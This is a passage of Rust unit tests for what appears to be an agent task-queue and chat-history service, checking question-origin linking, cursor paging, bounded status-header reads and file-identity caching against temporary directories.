25380        assert_eq!(core[0].record_revision, question_record_revision(&question));
25381        assert!(question_origins(State(ui.clone())).await.is_err());
25382        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25383    }
25384
25385    #[tokio::test]
25386    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25387        let home = tempfile::tempdir().unwrap();
25388        let ui = delta_test_ui(home.path());
25389        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25390        let mut parent = Task::new(
25391            "parent".into(),
25392            "body".into(),
25393            PathBuf::from("/repo"),
25394            Source::Agent {
25395                run: chat.clone(),
25396                node: crate::queue::CHAT_NODE.into(),
25397            },
25398        );
25399        parent.id = "parent-task".into();
25400        parent.runs = vec!["parent-run".into()];
25401        ui.queue.put(&mut parent).unwrap();
25402        let mut previous = parent;
25403        for generation in 1..=2 {
25404            let mut child = Task::new(
25405                "child".into(),
25406                "body".into(),
25407                PathBuf::from("/repo"),
25408                Source::Human,
25409            );
25410            child.id = format!("child-task-{generation}");
25411            child.runs = vec![format!("child-run-{generation}")];
25412            child.followup = Some(crate::queue::FollowUp {
25413                origin_task: Some(previous.id.clone()),
25414                run: previous.runs[0].clone(),
25415                pr: String::new(),
25416                findings: vec![],
25417                generation,
25418            });
25419            ui.queue.put(&mut child).unwrap();
25420            previous = child;
25421        }
25422        // A run may have the same spelling as another task's id; its owner
25423        // must not override a typed task reference.
25424        let mut collision = Task::new(
25425            "collision".into(),
25426            String::new(),
25427            PathBuf::from("/repo"),
25428            Source::Human,
25429        );
25430        collision.id = "collision-task".into();
25431        collision.runs = vec![previous.id.clone()];
25432        ui.queue.put(&mut collision).unwrap();
25433        let mut questions = Vec::new();
25434        for (node, reference, expected, eligible) in [
25435            (crate::triage::NODE, previous.id.as_str(), true, false),
25436            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25437            ("review", previous.runs[0].as_str(), true, true),
25438            (
25439                crate::bump::NOTICE_NODE,
25440                previous.runs[0].as_str(),
25441                true,
25442                false,
25443            ),
25444            // Identical text in the wrong reference namespace is not evidence.
25445            ("review", previous.id.as_str(), false, false),
25446            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25447            ("review", "unrelated", false, false),
25448        ] {
25449            let mut q = Question::new(
25450                reference.into(),
25451                node.into(),
25452                "seat".into(),
25453                "Question".into(),
25454                String::new(),
25455                vec![],
25456            );
25457            ui.questions.put(&mut q).unwrap();
25458            questions.push((q, expected, eligible));
25459        }
25460        for (node, reference, associated, eligible) in [
25461            (crate::reconcile::NODE, previous.id.as_str(), true, false),
25462            (
25463                crate::reconcile::NODE,
25464                previous.runs[0].as_str(),
25465                false,
25466                true,
25467            ),
25468            ("implement", previous.id.as_str(), false, false),
25469        ] {
25470            let mut q = Question::new(
25471                reference.into(),
25472                node.into(),
25473                crate::reconcile::SEAT.into(),
25474                "Reconcile".into(),
25475                String::new(),
25476                vec![],
25477            );
25478            ui.questions.put(&mut q).unwrap();
25479            questions.push((q, associated, eligible));
25480        }
25481        let mut release = Question::new(
25482            "release-record".into(),
25483            crate::bump::NOTICE_NODE.into(),
25484            "release-watch".into(),
25485            "Release".into(),
25486            String::new(),
25487            vec![],
25488        );
25489        ui.questions.put(&mut release).unwrap();
25490        let watch = crate::release_watch::WatchState {
25491            question: Some(release.id.clone()),
25492            run: Some(previous.runs[0].clone()),
25493            held_task: Some(previous.id.clone()),
25494            ..Default::default()
25495        };
25496        let watch_dir = home.path().join("release-watch");
25497        std::fs::create_dir_all(&watch_dir).unwrap();
25498        let watch_path = watch_dir.join("watch.json");
25499        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25500        // Ordinary questions and bump notices do not need watch-store I/O.
25501        for batch in [
25502            Vec::new(),
25503            questions.iter().map(|(q, _, _)| q.clone()).collect(),
25504        ] {
25505            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25506            assert!(watches.is_empty());
25507        }
25508        questions.push((release.clone(), true, false));
25509
25510        let views = questions_list(State(ui.clone())).await.unwrap().0;
25511        let origins = question_origins(State(ui.clone())).await.unwrap().0;
25512        for (q, associated, eligible) in &questions {
25513            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25514            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25515            let expected = associated.then_some(chat.as_str());
25516            assert_eq!(
25517                view.origin_chat.as_deref(),
25518                expected,
25519                "{} {}",
25520                q.node,
25521                q.run
25522            );
25523            assert_eq!(origin.origin_chat.as_deref(), expected);
25524            assert_eq!(view.origin_chat_closed, *associated);
25525            assert_eq!(origin.origin_chat_closed, *associated);
25526            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25527            assert_eq!(origin.can_consult_chat, *eligible);
25528        }
25529        // Either saved link independently recovers a release question's owner.
25530        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25531            let link = crate::release_watch::WatchState {
25532                run,
25533                held_task,
25534                ..watch.clone()
25535            };
25536            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25537            let (tasks, talks, watches) =
25538                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25539            assert_eq!(
25540                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25541                    .unwrap()
25542                    .id,
25543                chat,
25544            );
25545            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25546        }
25547        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25548        // Even identical duplicate records are ambiguous: ignore their links.
25549        let duplicate_path = watch_dir.join("duplicate.json");
25550        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25551        let (tasks, talks, watches) =
25552            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25553        assert!(
25554            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25555                .is_none()
25556        );
25557        std::fs::remove_file(duplicate_path).unwrap();
25558        // Another explicit owner is a conflict even if it has no chat.
25559        let mut unrelated = Task::new(
25560            "other".into(),
25561            String::new(),
25562            PathBuf::from("/repo"),
25563            Source::Human,
25564        );
25565        unrelated.id = "unrelated-task".into();
25566        ui.queue.put(&mut unrelated).unwrap();
25567        let mut conflicting = watch.clone();
25568        conflicting.held_task = Some(unrelated.id);
25569        std::fs::write(
25570            watch_dir.join("conflict.json"),
25571            serde_json::to_vec(&conflicting).unwrap(),
25572        )
25573        .unwrap();
25574        let (tasks, talks, watches) =
25575            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25576        assert!(
25577            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25578                .is_none()
25579        );
25580        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25581        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25582        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25583            assert!(origin.origin_chat.is_none());
25584            assert!(!origin.origin_chat_closed);
25585        }
25586    }
25587
25588    #[test]
25589    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25590        let home = tempfile::tempdir().unwrap();
25591        let ui = delta_test_ui(home.path());
25592        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25593        for i in 0..1000 {
25594            let mut task = Task::new(
25595                "unrelated".into(),
25596                "instruction ".repeat(256),
25597                PathBuf::from("/repo"),
25598                Source::Human,
25599            );
25600            task.id = format!("history-{i:04}");
25601            ui.queue.put(&mut task).unwrap();
25602            let id = seed_talk_at(&ui.talks, &task.id, "open");
25603            let mut talk = ui.talks.get(&id).unwrap();
25604            talk.pending = "history ".repeat(256);
25605            ui.talks.put(&mut talk).unwrap();
25606        }
25607        let mut parent = Task::new(
25608            "parent".into(),
25609            "body".into(),
25610            PathBuf::from("/repo"),
25611            Source::Agent {
25612                run: chat_id.clone(),
25613                node: crate::queue::CHAT_NODE.into(),
25614            },
25615        );
25616        parent.id = "task-parent".into();
25617        parent.runs = vec!["run-parent".into()];
25618        ui.queue.put(&mut parent).unwrap();
25619        let mut child = Task::new(
25620            "child".into(),
25621            "body".into(),
25622            PathBuf::from("/repo"),
25623            Source::Human,
25624        );
25625        child.id = "task-child".into();
25626        child.runs = vec!["run-child".into()];
25627        child.followup = Some(crate::queue::FollowUp {
25628            run: "run-parent".into(),
25629            origin_task: Some(parent.id.clone()),
25630            pr: "https://example.invalid/pr/1".into(),
25631            findings: vec![],
25632            generation: 1,
25633        });
25634        ui.queue.put(&mut child).unwrap();
25635        let mut question = Question::new(
25636            child.id.clone(),
25637            crate::conduct::NODE.into(),
25638            "seat".into(),
25639            "Continue?".into(),
25640            String::new(),
25641            vec![],
25642        );
25643        let (tasks, talks, _watches) =
25644            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25645        assert_eq!(tasks.len(), 2);
25646        assert_eq!(talks.len(), 1);
25647        assert_eq!(
25648            ui.monitor.queue_index.lock().unwrap().reparsed,
25649            0,
25650            "exact ancestry bypasses the index"
25651        );
25652        assert_eq!(
25653            crate::consult::origin_talk(&tasks, &talks, &question)
25654                .unwrap()
25655                .id,
25656            chat_id
25657        );
25658        question.run = "run-child".into();
25659        question.node = "review".into();
25660        for origin_task in [Some(parent.id.clone()), None] {
25661            child.followup.as_mut().unwrap().origin_task = origin_task;
25662            ui.queue.put(&mut child).unwrap();
25663            let (tasks, talks, _watches) =
25664                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25665            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25666            let expected =
25667                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25668                    .unwrap();
25669            assert_eq!(actual.id, expected.id);
25670            assert!(!actual.status.open());
25671            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25672            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25673            // Without Unix file identity, every readable record must be
25674            // reparsed to detect same-size, same-mtime replacements safely.
25675            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25676            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25677        }
25678        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25679        ui.queue.put(&mut child).unwrap();
25680        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25681        let (tasks, talks, _watches) =
25682            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25683        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25684        child.origin_chat = Some(chat_id.clone());
25685        ui.queue.put(&mut child).unwrap();
25686        let (tasks, talks, _watches) =
25687            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25688        assert_eq!(
25689            crate::consult::origin_talk(&tasks, &talks, &question)
25690                .unwrap()
25691                .id,
25692            chat_id
25693        );
25694        let revision = question_record_revision(&question);
25695        question.abandon("settled elsewhere");
25696        assert_ne!(revision, question_record_revision(&question));
25697        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25698        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25699        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25700        let (tasks, talks, _watches) =
25701            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25702        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25703    }
25704
25705    #[test]
25706    fn list_cursors_freeze_membership_and_expire_explicitly() {
25707        let home = tempfile::tempdir().unwrap();
25708        let ui = delta_test_ui(home.path());
25709        std::fs::create_dir_all(ui.queue.root()).unwrap();
25710        for i in 0..40 {
25711            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25712        }
25713        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25714        assert_eq!(first.len(), STORE_PAGE_SIZE);
25715        let cursor = cursor.unwrap();
25716        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25717        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25718        let (second, _) = page_ids(
25719            &ui,
25720            false,
25721            PageQuery {
25722                before: Some(cursor.clone()),
25723            },
25724        )
25725        .unwrap();
25726        assert_eq!(second[0], "record-0023");
25727        assert!(second.iter().all(|id| !first.contains(id)));
25728        assert!(
25729            page_ids(
25730                &ui,
25731                true,
25732                PageQuery {
25733                    before: Some(cursor.clone())
25734                }
25735            )
25736            .is_err()
25737        );
25738        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25739        assert_eq!(fresh[0], "record-9999");
25740        ui.monitor.list_walks.lock().unwrap().clear();
25741        assert!(
25742            page_ids(
25743                &ui,
25744                false,
25745                PageQuery {
25746                    before: Some(cursor)
25747                }
25748            )
25749            .is_err()
25750        );
25751    }
25752
25753    #[tokio::test]
25754    async fn talk_pages_load_every_open_then_frozen_closed_history() {
25755        let home = tempfile::tempdir().unwrap();
25756        let ui = delta_test_ui(home.path());
25757        // Every closed conversation is newer by ID than every open conversation.
25758        for i in 0..23 {
25759            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25760        }
25761        for i in 0..45 {
25762            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25763        }
25764        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25765        let first = talks_page(
25766            State(ui.clone()),
25767            Query(PageQuery::default()),
25768            header::HeaderMap::new(),
25769        )
25770        .await
25771        .unwrap()
25772        .0;
25773        assert_eq!(
25774            first.rows.iter().filter(|row| row.status.open()).count(),
25775            23
25776        );
25777        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25778        assert!(first.rows[..23].iter().all(|row| row.status.open()));
25779        let parsed = ui
25780            .monitor
25781            .talk_parses
25782            .load(std::sync::atomic::Ordering::Relaxed);
25783        assert_eq!(
25784            parsed,
25785            first.rows.len(),
25786            "closed bodies outside this page are not restored"
25787        );
25788        let fresh = talks_page(
25789            State(ui.clone()),
25790            Query(PageQuery::default()),
25791            header::HeaderMap::new(),
25792        )
25793        .await
25794        .unwrap()
25795        .0;
25796        assert_eq!(fresh.rows.len(), first.rows.len());
25797        assert_eq!(
25798            ui.monitor
25799                .talk_parses
25800                .load(std::sync::atomic::Ordering::Relaxed),
25801            parsed
25802        );
25803        let mut seen: std::collections::HashSet<_> =
25804            first.rows.iter().map(|row| row.id.clone()).collect();
25805        // Status changes keep their original membership position until refresh.
25806        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25807        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25808        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25809        let mut next = first.next;
25810        while let Some(cursor) = next {
25811            let page = talks_page(
25812                State(ui.clone()),
25813                Query(PageQuery {
25814                    before: Some(cursor),
25815                }),
25816                header::HeaderMap::new(),
25817            )
25818            .await
25819            .unwrap()
25820            .0;
25821            assert!(page.rows.len() <= STORE_PAGE_SIZE);
25822            for row in page.rows {
25823                assert!(seen.insert(row.id), "a cursor must not repeat membership");
25824            }
25825            next = page.next;
25826        }
25827        let expected: HashSet<_> = (0..23)
25828            .map(|i| format!("20260101-000000-{i:03}"))
25829            .chain(
25830                (0..45)
25831                    .filter(|i| *i != 1)
25832                    .map(|i| format!("20261019-000000-{i:03}")),
25833            )
25834            .collect();
25835        assert_eq!(
25836            seen, expected,
25837            "the cursor walk must return every surviving ID"
25838        );
25839        let refreshed = talks_page(
25840            State(ui.clone()),
25841            Query(PageQuery::default()),
25842            header::HeaderMap::new(),
25843        )
25844        .await
25845        .unwrap()
25846        .0;
25847        assert_eq!(
25848            refreshed
25849                .rows
25850                .iter()
25851                .filter(|row| row.status.open())
25852                .count(),
25853            23
25854        );
25855        assert!(
25856            refreshed
25857                .rows
25858                .iter()
25859                .any(|row| row.id == "20261019-000000-000")
25860        );
25861        assert!(
25862            !refreshed
25863                .rows
25864                .iter()
25865                .any(|row| row.id == "20260101-000000-000")
25866        );
25867    }
25868
25869    #[test]
25870    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25871        let home = tempfile::tempdir().unwrap();
25872        let ui = delta_test_ui(home.path());
25873        for i in 0..STORE_PAGE_SIZE + 5 {
25874            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25875        }
25876        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25877        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25878        assert!(next.is_none());
25879    }
25880
25881    #[test]
25882    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25883        struct Counted<R> {
25884            inner: R,
25885            bytes: usize,
25886        }
25887        impl<R: std::io::Read> std::io::Read for Counted<R> {
25888            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25889                let n = self.inner.read(buf)?;
25890                self.bytes += n;
25891                Ok(n)
25892            }
25893        }
25894        let home = tempfile::tempdir().unwrap();
25895        let ui = delta_test_ui(home.path());
25896        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25897        let mut chat = ui.talks.get(&id).unwrap();
25898        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25899            chat.turns = vec![
25900                serde_json::from_value(serde_json::json!({
25901                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25902                }))
25903                .unwrap(),
25904            ];
25905            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25906                chat.status = status;
25907                // Exercise the actual on-disk serializer, including its field order.
25908                let body = serde_json::to_vec_pretty(&chat).unwrap();
25909                let mut reader = Counted {
25910                    inner: body.as_slice(),
25911                    bytes: 0,
25912                };
25913                assert_eq!(read_talk_status(&mut reader), Some(status));
25914                assert!(
25915                    reader.bytes <= 1024,
25916                    "header classification read {} bytes",
25917                    reader.bytes
25918                );
25919            }
25920        }
25921        // Noncanonical field order must neither traverse a transcript nor hide
25922        // an open row. Its real status is validated by the ordinary row reader.
25923        let noncanonical = format!(
25924            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
25925            "x".repeat(1024 * 1024)
25926        );
25927        let mut reader = Counted {
25928            inner: noncanonical.as_bytes(),
25929            bytes: 0,
25930        };
25931        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25932        assert!(reader.bytes <= 1024);
25933        let oversized = format!(
25934            r#"{{"agent":"{}","status":"open"}}"#,
25935            "x".repeat(128 * 1024)
25936        );
25937        let mut reader = Counted {
25938            inner: oversized.as_bytes(),
25939            bytes: 0,
25940        };
25941        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25942        assert!(reader.bytes <= 64 * 1024);
25943    }
25944
25945    #[test]
25946    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
25947        let home = tempfile::tempdir().unwrap();
25948        let ui = delta_test_ui(home.path());
25949        seed_talk_at(&ui.talks, "header-chat", "open");
25950        std::fs::create_dir_all(ui.queue.root()).unwrap();
25951        let (started, ready) = std::sync::mpsc::channel();
25952        let (release, wait) = std::sync::mpsc::channel();
25953        let chat_ui = ui.clone();
25954        let scan = std::thread::spawn(move || {
25955            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
25956                started.send(()).unwrap();
25957                wait.recv().unwrap();
25958                open_talk_ids(ui, ids)
25959            })
25960            .unwrap()
25961        });
25962        ready.recv_timeout(Duration::from_secs(2)).unwrap();
25963        let (finished, result) = std::sync::mpsc::channel();
25964        let queue = std::thread::spawn(move || {
25965            finished
25966                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25967                .unwrap();
25968        });
25969        let completed = result.recv_timeout(Duration::from_secs(2));
25970        // Release and join both workers even if the regression returns.
25971        release.send(()).unwrap();
25972        scan.join().unwrap();
25973        queue.join().unwrap();
25974        assert!(
25975            completed.unwrap(),
25976            "queue paging must not wait for chat header I/O"
25977        );
25978    }
25979
25980    #[test]
25981    fn talk_status_projection_does_not_cache_files_changed_during_read() {
25982        let home = tempfile::tempdir().unwrap();
25983        let ui = delta_test_ui(home.path());
25984        let ids = vec!["changing-chat".to_owned()];
25985        seed_talk_at(&ui.talks, &ids[0], "closed");
25986        assert!(open_talk_ids(&ui, &ids).is_empty());
25987        seed_talk_at(&ui.talks, &ids[0], "open");
25988        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
25989            let value: serde_json::Value =
25990                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25991            // Replace the file after parsing, before its identity is checked again.
25992            seed_talk_at(&ui.talks, &ids[0], "closed");
25993            serde_json::from_value(value["status"].clone()).ok()
25994        });
25995        assert!(open.contains(&ids[0]));
25996        assert!(
25997            ui.monitor
25998                .talk_status_index
25999                .lock()
26000                .unwrap()
26001                .records
26002                .is_empty()
26003        );
26004        assert!(open_talk_ids(&ui, &ids).is_empty());
26005        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26006    }
26007
26008    #[test]
26009    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26010        let home = tempfile::tempdir().unwrap();
26011        let ui = delta_test_ui(home.path());
26012        let ids = vec!["same-stamp-chat".to_owned()];
26013        seed_talk_at(&ui.talks, &ids[0], "open");
26014        // Model a non-Unix metadata collision deterministically: the old
26015        // classification has a fingerprint equal to the current file's.
26016        ui.monitor.talk_status_index.lock().unwrap().records.insert(
26017            ids[0].clone(),
26018            (
26019                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26020                Some(talk::TalkStatus::Closed),
26021            ),
26022        );
26023        let open = open_talk_ids_with(&ui, &ids, false, |path| {
26024            std::fs::File::open(path).ok().and_then(read_talk_status)
26025        });
26026        assert!(
26027            open.contains(&ids[0]),
26028            "an untrusted cache hit must still read the current header"
26029        );
26030        assert!(
26031            ui.monitor
26032                .talk_status_index
26033                .lock()
26034                .unwrap()
26035                .records
26036                .is_empty()
26037        );
26038        seed_talk_at(&ui.talks, &ids[0], "closed");
26039        assert!(
26040            open_talk_ids_with(&ui, &ids, false, |path| {
26041                std::fs::File::open(path).ok().and_then(read_talk_status)
26042            })
26043            .is_empty()
26044        );
26045        let index = ui.monitor.talk_status_index.lock().unwrap();
26046        assert_eq!(index.parses, 2);
26047        assert!(
26048            index.records.is_empty(),
26049            "untrusted fingerprints must never publish cache entries"
26050        );
26051    }
26052
26053    #[test]
26054    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26055        let home = tempfile::tempdir().unwrap();
26056        let ui = delta_test_ui(home.path());
26057        let headers = header::HeaderMap::new();
26058        seed_talk_at(&ui.talks, "open-chat", "open");
26059        seed_talk_at(&ui.talks, "closed-chat", "closed");
26060        talk_rows(
26061            &ui,
26062            vec!["open-chat".into(), "closed-chat".into()],
26063            &headers,
26064        );
26065        {
26066            let mut index = ui.monitor.talk_index.lock().unwrap();
26067            let closed = index["closed-chat"].1.clone();
26068            for i in 0..1000 {
26069                index.insert(
26070                    format!("cached-closed-{i}"),
26071                    (
26072                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26073                        closed.clone(),
26074                    ),
26075                );
26076            }
26077        }
26078        assert_eq!(
26079            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26080            1
26081        );
26082        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26083        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26084        assert_eq!(
26085            ui.monitor
26086                .talk_parses
26087                .load(std::sync::atomic::Ordering::Relaxed),
26088            2
26089        );
26090        {
26091            let mut index = ui.monitor.talk_index.lock().unwrap();
26092            let open = index["open-chat"].1.clone();
26093            for i in 0..1000 {
26094                index.insert(
26095                    format!("cached-open-{i}"),
26096                    (
26097                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26098                        open.clone(),
26099                    ),
26100                );
26101            }
26102        }
26103        // Even when open rows exceed the bound, keep the currently requested rows.
26104        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26105        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26106        assert_eq!(
26107            ui.monitor
26108                .talk_parses
26109                .load(std::sync::atomic::Ordering::Relaxed),
26110            2
26111        );
26112    }
26113
26114    #[test]
26115    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26116        let home = tempfile::tempdir().unwrap();
26117        let ui = delta_test_ui(home.path());
26118        std::fs::create_dir_all(ui.talks.root()).unwrap();
26119        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26120        for id in &ids {
26121            std::fs::write(
26122                ui.talks.path_of(id),
26123                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26124            )
26125            .unwrap();
26126        }
26127        assert!(open_talk_ids(&ui, &ids).is_empty());
26128        assert_eq!(
26129            ui.monitor.talk_status_index.lock().unwrap().parses,
26130            ids.len()
26131        );
26132        assert!(open_talk_ids(&ui, &ids).is_empty());
26133        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26134        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26135        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26136        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26137        assert_eq!(
26138            open_talk_ids(&ui, &ids),
26139            std::collections::HashSet::from([ids[0].clone()])
26140        );
26141        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26142        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26143        assert_eq!(parsed, reused + refreshed);
26144        open_talk_ids(&ui, &ids);
26145        assert_eq!(
26146            ui.monitor.talk_status_index.lock().unwrap().parses,
26147            parsed + if cfg!(unix) { 0 } else { ids.len() },
26148            "only reliable file identity permits caching, including unreadable rows"
26149        );
26150        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26151        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26152        assert!(
26153            !ui.monitor
26154                .talk_status_index
26155                .lock()
26156                .unwrap()
26157                .records
26158                .contains_key(&ids[0])
26159        );
26160        assert!(
26161            ui.monitor.talk_index.lock().unwrap().is_empty(),
26162            "classification never caches bodies"
26163        );
26164    }
26165
26166    #[tokio::test]
26167    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26168        let home = tempfile::tempdir().unwrap();
26169        let ui = delta_test_ui(home.path());
26170        let mut task = Task::new(
26171            "task".into(),
26172            "body".into(),
26173            PathBuf::from("/repo"),
26174            Source::Human,
26175        );
26176        ui.queue.put(&mut task).unwrap();
26177        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26178        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26179        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26180        let expected = parsed + usize::from(!cfg!(unix));
26181        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26182        task.status = crate::queue::TaskStatus::Held;
26183        ui.queue.put(&mut task).unwrap();
26184        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26185        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26186        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26187        ui.queue.put(&mut task).unwrap();
26188        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26189        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26190        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26191    }
26192
26193    #[tokio::test]
26194    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26195        let home = tempfile::tempdir().unwrap();
26196        let ui = delta_test_ui(home.path());
26197        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26198        let before = health(State(ui.clone())).await.unwrap().0;
26199        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26200        let after = health(State(ui)).await.unwrap().0;
26201        assert_ne!(before.notifications_rev, after.notifications_rev);
26202        assert_eq!(after.notifications_unread, 1);
26203    }
26204
26205    #[tokio::test]
26206    async fn list_pages_bound_history_and_keep_dependency_evidence() {
26207        let home = tempfile::tempdir().unwrap();
26208        let ui = delta_test_ui(home.path());
26209        let queue = &ui.queue;
26210        let talks = &ui.talks;
26211        for i in 0..1000 {
26212            let id = format!("20261019-{i:06}-page");
26213            let mut task = Task::new(
26214                "task".into(),
26215                "instruction".repeat(100),
26216                PathBuf::from("/repo/magi"),
26217                Source::Human,
26218            );
26219            task.id = id.clone();
26220            if i == 0 {
26221                task.status = crate::queue::TaskStatus::Held;
26222            } else if i == 999 {
26223                task.status = crate::queue::TaskStatus::Blocked;
26224                task.blocked_by = vec!["20261019-000000-page".into()];
26225            }
26226            queue.put(&mut task).unwrap();
26227            seed_talk_at(talks, &id, "closed");
26228        }
26229        let page = serde_json::to_value(
26230            queue_page(State(ui.clone()), Query(PageQuery::default()))
26231                .await
26232                .unwrap()
26233                .0,
26234        )
26235        .unwrap();
26236        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26237        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26238        assert!(
26239            !page["rows"][0]["stuck_roots"]
26240                .as_array()
26241                .unwrap()
26242                .is_empty()
26243        );
26244        let cursor = page["next"].as_str().unwrap();
26245        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26246            .as_str()
26247            .unwrap();
26248        // Deleting an already enumerated file cannot shift or repeat a page.
26249        std::fs::remove_file(queue.path_of(last_id)).unwrap();
26250        let next = serde_json::to_value(
26251            queue_page(
26252                State(ui.clone()),
26253                Query(PageQuery {
26254                    before: Some(cursor.into()),
26255                }),
26256            )
26257            .await
26258            .unwrap()
26259            .0,
26260        )
26261        .unwrap();
